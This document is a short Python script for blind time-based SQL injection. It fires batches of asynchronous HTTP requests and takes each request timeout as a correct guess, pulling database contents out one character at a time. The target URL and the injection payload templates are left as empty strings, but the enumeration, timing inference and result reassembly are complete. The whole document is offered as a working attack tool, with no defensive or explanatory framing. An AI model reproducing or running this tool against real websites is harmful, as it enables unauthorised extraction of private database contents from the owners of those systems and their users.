Time-based SQL injection with grequests

time_based.py

import grequests
import requests
from tqdm import tqdm
from urllib3 import Retry
import random
from parse import parse

class ProgressSession():
    def __init__(self, urls):
        self.pbar = tqdm(total = len(urls), desc = 'Making async requests')
        self.urls = urls
    def update(self, r, *args, **kwargs):
        if not r.is_redirect:
            self.pbar.update()
    def __enter__(self):
        retries = Retry(total=3,
                        backoff_factor=random.uniform(0.1, 2),
                        backoff_max=1)
        sess = requests.Session()
        sess.mount('http://', HTTPAdapter(max_retries=retries))
        sess.hooks['response'].append(self.update)
        sess.proxies = {}
        return sess
    def __exit__(self, *args):
        self.pbar.close()

url = ""
inDatabase = ""
inDatabase2 = ""
inTable2 = ""
inColumns = ""
inValue = ""
currentIn = inDatabase2

# A list to hold our things to do via async
async_list = []
urls = []

for i in range(1, 45):
    for j in range(35, 126):
        if chr(j).isalpha() or chr(j).isdigit():
            payload = currentIn.format(j, i)
            # The "hooks = {..." part is where you define what you want to do
            #
            # Note the lack of parentheses following do_something, this is
            # because the response will be used as the first argument automatically
            urls.append(url + payload)

result = ""
def exception_handler(request, exception):
    # if exception == requests.exceptions.RetryError:
    #   print(request.url[-30:])
    global result
    index, chr_code = parse(url + currentIn, request.url)
    result += chr(int(chr_code))
    return exception

from requests.adapters import HTTPAdapter

s = grequests.Session()
def get_urls_async(urls):
  with ProgressSession(urls) as sess:
      rs = (grequests.get(url, session = sess, timeout = 3) for url in urls)
      return grequests.map(rs, exception_handler=exception_handler, size=5)

get_urls_async(urls)
print(result)